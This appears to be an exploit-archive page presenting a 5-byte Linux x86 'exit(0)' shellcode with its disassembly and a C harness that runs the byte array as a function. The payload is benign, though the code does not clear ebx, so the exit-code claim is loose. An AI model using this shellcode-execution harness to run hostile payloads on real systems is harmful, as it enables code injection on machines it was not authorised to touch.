Linux/x86 exit(0) shellcode (5 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-01-28 | Type : shellcode | Platform : linux_x86
This exploit / vulnerability Linux/x86 exit(0) shellcode (5 bytes) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

/*
# Date: 26/01/2019
# Exit.asm
# Author: Daniele Votta
# Description: Exit with no nulls.
# Tested on: i686 GNU/Linux
# Shellcode Length: 5
*/

#include<stdio.h>
#include<string.h>

/*
Disassembly of section .text:

00000000 <_start>:
0: 31 c0 xor eax,eax
2: 40 inc eax
3: cd 80 int 0x80
======================= POC Daniele Votta =======================
*/

unsigned char shellcode[] = \
"\x31\xc0\x40\xcd\x80";

int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;

ret();
}